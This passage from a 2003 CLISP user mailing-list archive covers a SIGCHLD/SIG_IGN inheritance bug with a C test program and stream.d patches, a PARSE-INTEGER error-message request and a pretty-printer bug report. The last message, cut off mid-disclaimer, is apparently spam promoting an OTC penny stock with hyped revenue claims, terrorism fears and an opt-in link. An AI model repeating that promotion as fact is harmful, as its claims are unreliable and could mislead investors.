(*existing)(int) = signal(SIGCHLD, SIG_DFL); if (existing == SIG_DFL) puts("SIGCHLD == SIG_DFL"); else if (existing == SIG_IGN) puts("SIGCHLD == SIG_IGN"); else puts("SIGCHLD == "); return 0; } Here is a program that on Linux 2.2.22 shows the unreliable behavior. If you remove the sleep() call, it works every time I try it: waitpid returns the pid. If you put back the sleep() call, you get -1 return, with errno being 10 (ECHILD) every time. Then if you set SIGCHLD to SIG_DFL, that goes away, and waitpid returns positive again. #include #include #include #include #include int main(void) { pid_t pid = fork(); /* Empty bowels before fork() to prevent double vision. */ fflush(NULL); signal(SIGCHLD, SIG_IGN); if (pid == 0) { char *argv[2] = { "show-sig", 0 }; execvp("./show-sig", argv); printf("exec failed\n"); exit(0); } else if (pid > 0) { int status; int r; sleep(1); r = waitpid(pid, &status, 0); printf("waitpid returned %d, errno == %d\n", r, errno); } else { puts("fork failed"); } return 0; } From sds@gnu.org Wed Feb 12 20:10:33 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18jAhl-0000xF-00 for ; Wed, 12 Feb 2003 20:10:33 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out005.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030213041026.FJIS16306.out005.verizon.net@loiso.podval.org>; Wed, 12 Feb 2003 22:10:26 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h1D4AfcO006921; Wed, 12 Feb 2003 23:10:41 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h1D4Abc2006916; Wed, 12 Feb 2003 23:10:37 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Issue: SIG_IGN setting for SIGCHLD inherited by children of CLISP. References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 76 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.48.207] at Wed, 12 Feb 2003 22:10:25 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 12 20:11:04 2003 X-Original-Date: 12 Feb 2003 23:10:37 -0500 > * In message > * On the subject of "[clisp-list] Re: Issue: SIG_IGN setting for SIGCHLD inherited by children of CLISP." > * Sent on Wed, 12 Feb 2003 16:24:59 -0800 (PST) > * Honorable Kaz Kylheku writes: > > The problem with this is that normally, when you run programs from the > shell, they get SIG_DFL, which has different behavior from SIG_IGN. > The exec() system call causes SIG_IGN and SIG_DFL settings to be > inherited by the new process image. > > On Linux, signal(SIGCHLD, SIG_IGN) seems to cause the waitpid() > semantics described by the Single UNIX Specification. If the processes > terminate before the waitpid() call is reached, they are reaped > internally without becoming zombies. Then the waitpid() returns -1 with > ECHILD. If the waitpid is reached while the child is still running, > then waitpid() waits normally and returns the pid. > > This is a problem, because lots of programs---CVS being one > example---are not written to defend against this obscure behavior and so > the -1/ECHILD takes them by surprise; they just expect SIGCHLD to be > SIG_DFL on startup. note that EXECUTE does not suffer from this problem, only pipe functions do. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux What garlic is to food, insanity is to art. --- stream.d.~1.339.~ 2003-01-29 14:36:06.000000000 -0500 +++ stream.d 2003-02-12 23:08:29.000000000 -0500 @@ -13467,9 +13473,11 @@ var DYNAMIC_ARRAY(command_data,char,command_length); begin_system_call(); memcpy(command_data,command,command_length); + begin_want_sigcld(); # build pipe: if (!( pipe(handles) ==0)) { - FREE_DYNAMIC_ARRAY(command_data); OS_error(); + FREE_DYNAMIC_ARRAY(command_data); + end_want_sigcld(); OS_error(); } # Everything, that is stuffed in handles[1], resurfaces at handles[0] # again. We will utilize this as follows: @@ -13495,6 +13503,7 @@ _exit(-1); # if this fails, finish child-process } # This piece of code is again executed by the caller: + end_want_sigcld(); if (child==-1) # Something failed, either on vfork or on execl. # In both cases errno was set. @@ -13678,8 +13687,10 @@ var DYNAMIC_ARRAY(command_data,char,command_length); begin_system_call(); memcpy(command_data,command,command_length); + begin_want_sigcld(); if (!( pipe(handles) ==0)) { - FREE_DYNAMIC_ARRAY(command_data); OS_error(); + FREE_DYNAMIC_ARRAY(command_data); + end_want_sigcld(); OS_error(); } # Everything, that is stuffed in handles[1], resurfaces at handles[0] # again. We will utilize this as follows: @@ -13705,6 +13716,7 @@ _exit(-1); # if this fails, finish child-process } # This piece of code is again executed by the caller: + end_want_sigcld(); if (child==-1) # Something failed, either on vfork or on execl. # In both cases errno was set. From sds@gnu.org Wed Feb 12 20:12:59 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18jAk7-0001Bz-00 for ; Wed, 12 Feb 2003 20:12:59 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20030213041253.ECGQ10203.pop017.verizon.net@loiso.podval.org>; Wed, 12 Feb 2003 22:12:53 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h1D4D8cO006958; Wed, 12 Feb 2003 23:13:08 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h1D4D8wl006954; Wed, 12 Feb 2003 23:13:08 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Issue: SIG_IGN setting for SIGCHLD inherited by children of CLISP. References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Message-ID: Lines: 100 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [151.203.48.207] at Wed, 12 Feb 2003 22:12:52 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 12 20:13:05 2003 X-Original-Date: 12 Feb 2003 23:13:08 -0500 > * In message > * On the subject of "[clisp-list] Re: Issue: SIG_IGN setting for SIGCHLD inherited by children of CLISP." > * Sent on Wed, 12 Feb 2003 16:24:59 -0800 (PST) > * Honorable Kaz Kylheku writes: > > The problem with this is that normally, when you run programs from the > shell, they get SIG_DFL, which has different behavior from SIG_IGN. > The exec() system call causes SIG_IGN and SIG_DFL settings to be > inherited by the new process image. > > On Linux, signal(SIGCHLD, SIG_IGN) seems to cause the waitpid() > semantics described by the Single UNIX Specification. If the processes > terminate before the waitpid() call is reached, they are reaped > internally without becoming zombies. Then the waitpid() returns -1 with > ECHILD. If the waitpid is reached while the child is still running, > then waitpid() waits normally and returns the pid. > > This is a problem, because lots of programs---CVS being one > example---are not written to defend against this obscure behavior and so > the -1/ECHILD takes them by surprise; they just expect SIGCHLD to be > SIG_DFL on startup. note that EXECUTE does not suffer from this problem, only pipe functions do. please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux What garlic is to food, insanity is to art. --- stream.d.~1.339.~ 2003-01-29 14:36:06.000000000 -0500 +++ stream.d 2003-02-12 23:11:29.000000000 -0500 @@ -13467,9 +13473,11 @@ var DYNAMIC_ARRAY(command_data,char,command_length); begin_system_call(); memcpy(command_data,command,command_length); + begin_want_sigcld(); # build pipe: if (!( pipe(handles) ==0)) { - FREE_DYNAMIC_ARRAY(command_data); OS_error(); + FREE_DYNAMIC_ARRAY(command_data); + end_want_sigcld(); OS_error(); } # Everything, that is stuffed in handles[1], resurfaces at handles[0] # again. We will utilize this as follows: @@ -13495,6 +13503,7 @@ _exit(-1); # if this fails, finish child-process } # This piece of code is again executed by the caller: + end_want_sigcld(); if (child==-1) # Something failed, either on vfork or on execl. # In both cases errno was set. @@ -13678,8 +13687,10 @@ var DYNAMIC_ARRAY(command_data,char,command_length); begin_system_call(); memcpy(command_data,command,command_length); + begin_want_sigcld(); if (!( pipe(handles) ==0)) { - FREE_DYNAMIC_ARRAY(command_data); OS_error(); + FREE_DYNAMIC_ARRAY(command_data); + end_want_sigcld(); OS_error(); } # Everything, that is stuffed in handles[1], resurfaces at handles[0] # again. We will utilize this as follows: @@ -13705,6 +13716,7 @@ _exit(-1); # if this fails, finish child-process } # This piece of code is again executed by the caller: + end_want_sigcld(); if (child==-1) # Something failed, either on vfork or on execl. # In both cases errno was set. @@ -13830,11 +13842,14 @@ var DYNAMIC_ARRAY(command_data,char,command_length); begin_system_call(); memcpy(command_data,command,command_length); + begin_want_sigcld(); # build Pipes: if (!( pipe(in_handles) ==0)) { - FREE_DYNAMIC_ARRAY(command_data); OS_error(); + FREE_DYNAMIC_ARRAY(command_data); + end_want_sigcld(); OS_error(); } if (!( pipe(out_handles) ==0)) + end_want_sigcld(); OS_error_saving_errno({ CLOSE(in_handles[1]); CLOSE(in_handles[0]); FREE_DYNAMIC_ARRAY(command_data); @@ -13873,6 +13888,7 @@ _exit(-1); # if this fails, finish child-process } # This piece of code is again executed by the caller: + end_want_sigcld(); if (child==-1) # Something failed, either on vfork or on execl. # In both cases errno was set. From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 13 04:18:46 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18jIKB-0005my-00 for ; Thu, 13 Feb 2003 04:18:44 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 13 Feb 2003 13:18:34 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <14SSTN6K>; Thu, 13 Feb 2003 13:18:33 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE020EC7F0@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] RFE: parse-integer error message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 13 04:19:04 2003 X-Original-Date: Thu, 13 Feb 2003 13:18:30 +0100 This is a request for enhancement that I prefer to submit to the list = for discussion. parse-integer error messages do not combine nicely with using :start and :end, witness the following error message: (parse-integer line :start 5 :end 7) *** - PARSE-INTEGER: string = "6;28Jun2002;23:59:15;10.3.1.5;log;accept;;zorg;inbound;icmp;10.4.1.3;19= 2.68.1.5;1434;3813;404;95;;;;;;;;;;;;;;;;;;;;;;;;;;;firewall;;;;" does = not have integer syntax The whole string argument is shown, and we don't know where exactly (as delimited by START and END) PARSE-INTEGER was looking for a match. Suggestion: Using (SUBSEQ string start end) instead of the whole original string would be useful when *signaling* the error. *** - PARSE-INTEGER: string "un" does not have integer syntax would be much more precise and correct. This can become especially important as I intend to make heavy use of :start and :end keywords on a 256KB large string. Imagine this huge string output as part of the error message and stored into the application's errorlog each time parse-integer complains! I'd currently obtain a logfile of size (* 2486 (+ 50 (* 256 1024))), = half a gigabyte for 2486 occurrences... Cost to implementors: tiny Run-time cost in case of no error: 0 Run-time cose in case of error: 1 additional SUBSEQ What do you think? J=F6rg H=F6hle. From sds@gnu.org Thu Feb 13 07:04:01 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18jKu7-0008Cv-00 for ; Thu, 13 Feb 2003 07:03:59 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop016.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030213150349.MPFJ12546.pop016.verizon.net@loiso.podval.org>; Thu, 13 Feb 2003 09:03:49 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h1DF46cO015152; Thu, 13 Feb 2003 10:04:06 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h1DF45Qo015148; Thu, 13 Feb 2003 10:04:05 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] RFE: parse-integer error message References: <9F8582E37B2EE5498E76392AEDDCD3FE020EC7F0@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE020EC7F0@G8PQD.blf01.telekom.de> Message-ID: Lines: 45 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [151.203.48.207] at Thu, 13 Feb 2003 09:03:49 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 13 07:04:12 2003 X-Original-Date: 13 Feb 2003 10:04:05 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE020EC7F0@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] RFE: parse-integer error message" > * Sent on Thu, 13 Feb 2003 13:18:30 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > parse-integer error messages do not combine nicely with using :start > and :end, witness the following error message: > > (parse-integer line :start 5 :end 7) > *** - PARSE-INTEGER: string "6;28Jun2002;23:59:15;10.3.1.5;log;accept;;zorg;inbound;icmp;10.4.1.3;192.68.1.5;1434;3813;404;95;;;;;;;;;;;;;;;;;;;;;;;;;;;firewall;;;;" does not have integer syntax > > The whole string argument is shown, and we don't know where exactly > (as delimited by START and END) PARSE-INTEGER was looking for a > match. > > Suggestion: Using (SUBSEQ string start end) instead of the whole > original string would be useful when *signaling* the error. > > *** - PARSE-INTEGER: string "un" does not have integer syntax > would be much more precise and correct. but it will leave you wondering where you pass this string to PARSE-INTEGER. > This can become especially important as I intend to make heavy use of > :start and :end keywords on a 256KB large string. Imagine this huge > string output as part of the error message and stored into the > application's errorlog each time parse-integer complains! > I'd currently obtain a logfile of size (* 2486 (+ 50 (* 256 1024))), half a gigabyte for 2486 occurrences... > > Cost to implementors: tiny > Run-time cost in case of no error: 0 > Run-time cose in case of error: 1 additional SUBSEQ what about substring "un" (125:127) does not have integer syntax (we can also add a slot to PARSE-ERROR which will contain the whole string) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux A man paints with his brains and not with his hands. From csr21@cam.ac.uk Thu Feb 13 08:27:33 2003 Received: from rose.csi.cam.ac.uk ([131.111.8.13]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18jM2b-0005NO-00 for ; Thu, 13 Feb 2003 08:16:49 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by rose.csi.cam.ac.uk with esmtp (Exim 4.10) id 18jM25-0008QE-00 for clisp-list@lists.sourceforge.net; Thu, 13 Feb 2003 16:16:17 +0000 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 18jM1j-0006SH-00 for ; Thu, 13 Feb 2003 16:15:55 +0000 To: CLISP From: Christophe Rhodes Message-ID: Lines: 39 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Pretty printing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 13 08:28:12 2003 X-Original-Date: 13 Feb 2003 16:15:54 +0000 Hi, I'm aware that the pretty printer implementation in CLISP, according to the implementation notes isn't expected to be perfect... I hope this bug report (for clisp-2.30) helps to track some things down: [3]> (format t "~&~@<; ~@;loading system definition from ~A into ~A.~@:>~%" 'foo 'bar) *** - ; FUNCALL: the function ; NIL is undefined ; 1. Break ; [; 4]> So, two things look problematic here. Firstly, I believe that the format string is valid for the arguments, and so I don't expect the crash, but rather that ; loading system definition from FOO into BAR. be printed. Secondly, the per-line prefix of "; " (indicated by the use of ~@; to finish the first section of ~< ~@:>) seems to be interpreted as more like a per-word prefix, as shown by the Break prompt. Interestingly, FORMATTER doesn't seem to have quite the same problem: [6]> (format t (formatter "~&~@<; ~@;loading system definition from ~A into ~A.~:@>~%") 'foo 'bar) ; loading system definition from FOO into BAR. though when given a longer string it doesn't seem to wrap correctly (the "~:@>" asks for a conditional newline to be inserted at every whitespace in the format string). Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 13 08:41:34 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18jMQW-0001YV-00 for ; Thu, 13 Feb 2003 08:41:32 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 13 Feb 2003 17:41:24 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <14SS4BWS>; Thu, 13 Feb 2003 17:41:24 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE020EC8FA@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] RFE: parse-integer error message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 13 08:42:06 2003 X-Original-Date: Thu, 13 Feb 2003 17:41:17 +0100 Hi, Sam wrote: >> *** - PARSE-INTEGER: string "un" does not have integer syntax >> would be much more precise and correct. >but it will leave you wondering where you pass this string to >PARSE-INTEGER. There's always backtrace-1 while in the debugger. >what about >substring "un" (125:127) does not have integer syntax Hmm, the (x:y) notation is not standard in Common Lisp at all (nor [125:127], nor [125,127[, nor anything I can now think of), so people may start wondering what this is supposed to mean. A quote into the Holy Bible? Indicating "Substring" is enough (if not too much already) IMHO. Or "un" from (SUBSEQ _/?/X/foo/STRING 125 127) does not have integer syntax. But then people may start wondering where that SUBSEQ comes from, because it's not in their code. >(we can also add a slot to PARSE-ERROR which will contain the >whole string) No problem. I don't really care about the slots -- I never used any of the condition objects except maybe for type-error [*], but you're welcome to provide a sound set of slots, consistent in its accuracy with the rest of CLISP. What I care about is precise error messages. So a precise (and concise) message is fine with me. [*] In one of our systems, we had >100 conditions defined. It turned out we never used that mass, in the sense that no error-handler was ever installed for >95% of them. So defining them and having them raised at appropriate places was a significant wasted effort, in retrospect. That's my experience. It made the source code raising the error more concise, though. Especially all error text messages were moved away. This, however, rose questions about coherence: "is the message text in file foo still in sync with the code in bar?" The few exceptions that we caught were of the file-not-found kind, where we wanted a restart handler. That's why I don't, for my part, put much value into many error classes and their slots. Yet I use error-handlers and restarts. Regards, Jorg Hohle. From paystobe@marchezoni.com.br Thu Feb 13 13:16:28 2003 Received: from mail.cogama.com ([65.198.232.2] helo=jubilee.intradesa.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18jQi8-000324-00 for ; Thu, 13 Feb 2003 13:16:00 -0800 Received: from mop.gob.pa (212.104.146.19 [212.104.146.19]) by jubilee.intradesa.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 17CR4F8K; Thu, 13 Feb 2003 14:10:10 -0600 Message-ID: <00006eb64cf9$0000234e$00006648@vip.net.pl> To: Cc: , , , , , , , , From: "Good Stock" MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Subject: [clisp-list] French Airlines says Terrorist not allowed on L Air9047 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 13 13:46:23 2003 X-Original-Date: Thu, 13 Feb 2003 12:09:25 -2000 Undervalued Weekly Reporter Initiates Coverage: OTCBB: LAIR UWR ALERT: Since September 11th traveling by air has become a combat zone. This Belgian airline carrier is taking over Sabena's once coveted Brussels hub, creating low-cost direct international routes and providing high quality service. With all of its competitive advantages L-AIR Holdings (OTC BB: LAIR) is destined to become the "JetBlue" (NASDAQ: BLU) of Europe. HOW TO BENEFIT FROM THE AIRLINE CARRIER/TRAVEL CRISIS BY INVESTING IN HIGH GROWTH SAFE, SECURE and PROFITABLE GLOBAL CARRIERS? L-Air Holdings, Inc. (OTC BB: LAIR) - US$20M in revenue immediately from its first three routes. Shares Outstanding-----------------22.305 Million Shares in DTC----------------------4.5 Million DTC shares m'gt friendly-------900k DTC management shares----------3.2 Million DTC shares in public float-----400k Recent Price-----------------------$0.185 Year Low/Hi------------------------$0.09 - $0.185 Visist Website at lair.com If you are a frequent or even some-time airline passenger then you already know how important it is to not only receive a low-priced fare, but to get the most expeditious and friendly customer service possible. This is where most international airline carriers have failed since September 11th. Now that war with Iraq is likely, further financial crisis at most of the major airlines is also likely. Alternative international air carriers flying under flags from countries not likely to be the target of terrorist attack are seeing their bookings increase dramatically. So who benefits from this? The airline carriers in countries such as Belgium, France, Norway and others that, can operate safely and securely within this framework, while not sacrificing customer service and satisfaction through pricing. That is one of the reasons why we believe L-Air Holdings, Inc. (OTCBB: LAIR) will succeed particularly well in the short term. Long-term we feel that the OTCBB: LAIR business model combined with implementation by its impressive management team and in-place financiers will bring much higher valuations to this stock. The Company's commitment to cost efficiencies and customer satisfaction is at the core of its business model, just like JetBlue (NASDAQ: JBLU), Southwest Air (NYSE: LUV), and easyJet.com, all of whom are very successful within their respective markets and industry leaders. This international carrier is on the path to success. Fortune Magazine recently stated that Southwest Airlines is the all-time #1 successful investment. We feel L-Air Holdings is on a similar path. As recently reported in SPEEDNEWS (speednews.com), the newsletter of record for the aviation industry, L-Air Holdings is in the process of acquiring a European airline, Belgium Universal Airways, in order to receive an AOC (air operations certificate). Within one-month of finalizing the acquisition currently being negotiated and receipt of its AOC, expected to be complete by March 1, 2003, LAIR will operate two Airbus A340-300 aircraft over three high-traffic routes. Contracts for these routes are in place with tour operators and other agencies providing an initial and immediate revenue stream of approximately US$400k weekly, or annualized revenues in excess of $20 million from existing contracts. Based in Brussels, Belgian Universal Airways, through direct ownership by OTCBB: LAIR, is being transformed into a low-priced passenger airline providing exceptional customer service, much like its USA based counterpart, JetBlue (NASDAQ: JBLU). The Company plans an aggressive expansion campaign as led by its capable ex-Sabena staff and management with its financier and 51% owner Universal Capital Partners (UCP). UCP has already spent over US$5 million and committed an additional US$10 million in cash to the Company's initial operating budget. UCP has also signed leases with major aircraft manufacturers to provide LAIR with at least 5-Airbus 340-300 aircraft by year-end. UCP is a majority shareholder of LAIR. LAIR expects to take delivery of the first two freshly painted jets in April 2003 with the following routes to be serviced: Route 1) Brussels -to- Puntancana (Caribbean - one of the heaviest European tourist destinations currently) Route 2) Yervena -to- LAX (Contracts with Armenian agency to provide this much needed service to be announced upon successful completion of acquisition) Route 3) Toronto -to- Montreal -to- Delhi, India (No competition on this highly lucrative and much needed route as of yet) Three additional Airbus 340's are to be acquired through leases in the Fall of 2003. The carrier proposes to launch new operations from its Brussels hub in April 2003. Ask anyone in the airline industry what is the most promising source of revenue growth with the current political situation and insurance cost nightmare for U.S. and other majors and many will agree that small carriers with high-traffic routes and good low maintenance cost aircraft are the key. Focusing on profitable long haul routes with low-cost maintenance jets, while providing exceptional customer satisfaction OTCBB: LAIR is one of these carriers. The Company's commitment to cost efficiencies and customer satisfaction is at the core of its business model, just like JetBlue (NASDAQ: JBLU), Southwest Air (NYSE: LUV), and easyJet.com all of whom are very successful within their respective markets and industry leaders. This international carrier is on the path to success. About the Co. - Belgian Universal Airways, OTCBB: LAIR Europe needs a safe and decent, well run Airline, managed by highly qualified and experienced staff, that will provide good service at a fair price for everyone. Since the closure of Sabena in 2001 (the Belgian National Airline) due to Swiss Air's bankruptcy (Swiss Air had recently bought Sabena), there has been a need to revive the once thriving wide International Flight Network based in Brussels. In addition, since the September 11 tragedy, carriers that are not terrorist targets are increasingly being called upon to pick up these routes. Through an acquisition of 49% of Belgian Universal Airways by OTCBB: LAIR, UCP and Sabena's Captain Raymond Nicolai are now preparing to meet this need. Universal Capital Partners (UCP) is currently negotiating with the airline to finalize an acquisition that will give UCP 51% ownership, while 49% will reside with OTCBB: LAIR. UCP is the single largest shareholder of OTCBB: LAIR currently. This structure is necessary to meet ownership requirements mandating that 51% of a European air carrier be European owned. Captain Raymond Nicolai has dedicated his life to Aviation since 1968. He is an ex-Belgian Air Force fighter pilot and is an instructor on many types of Aircraft including the company's chosen A340. Captain Nicolai is bringing many of the former Sabena management and staff that will comprise the bulk of the company's 100 plus in number workforce. These well trained ex-Sabena staff members are dedicated to the Company's (OTCBB: LAIR) mission of creating a new Belgian National Airline that represents excellence in all aspects, including on-time flights, the highest level of customer service, cost efficiencies in operations and maximization of profitability for its investors. With the addition of many new international direct routes to markets including Asia, Middle East, Africa, USA, Canada, Caribbean and Europe the Company has a better than average chance of achieving success due to the lack of any competition servicing these routes currently. Belgian Universal will operate a fleet of 5 Airbus A340-300 aircraft capable of seating 220 Economy seats, 30 Business class full comfort pitch seat, and 10 First class sleeperettes. All Belgian Universal's aircraft feature roomy all-leather seats each equipped with satellite phones and full individual multi-media systems capable of delivering many different forms of entertainment, including: a large selection of movies / videos, music (MP3 and other format), computer/video games, and the soon to be offered "on-board" Internet services. All available at every seat along with the many high quality amenities not found on existing air carriers competing with the Company (OTCBB: LAIR). With Belgian Universal, all seats are assigned, a good percentage of travel is ticketless, all fares are one-way, and a Saturday night stay is never required. For more information, schedules and fares, please visit Website at lair.com. Press releases, can be found on the website at lair.com. Airline industry experts agree that the most promising source of revenue growth with the current political situation and insurance cost nightmare for U.S. and other majors is within the group of small carriers with high-traffic routes and low-maintenance cost aircraft. Focusing on profitable long haul routes with low-cost maintenance jets, while providing exceptional customer service, OTCBB: LAIR is one of these carriers. The Company's commitment to cost efficiencies and customer satisfaction is at the core of its business model, just like JetBlue (NASDAQ: JBLU), Southwest Air (NYSE: LUV), and easyJet.com, all of whom are very successful within their respective markets and industry leaders. This international carrier is on the path to success. *** Special Financial-Stock Opt-in mailing list Offer *** As a member of our special financial opt-in mailing list, you will be among the first to receive up to the minute information regarding the companies we profile above as well as a free 10-day trial to a website with real-time Level II quotes, research reports, OTC BB promo / syndication calendar, trading chat rooms, full threading message boards, along with many other valuable and free investment tools not readily available to the general public. This is an incredible opportunity! Just click the link below to send us an email, and you will be immediately added to our Opt-in list. Please be sure that "opt-in" is in the subject line of the email. If opt-in is not in the subject line you will not be added. http://www.sanguostory.com/freetrail/ . Thank you. ****************************************************** ***********************Disclaimer******************** Information within this email contains "forward looking statements" within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the Securities Exchange Act of 1934. Any statements that express or involve discussions with respect to predictions, goals, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance are not statements of historical fact and may be "forward looking statements." Forward looking statements are based on expectations, estimates and projections at the time the statements are made that involve a number of risks and uncertainties which could cause actual results or events to differ materially 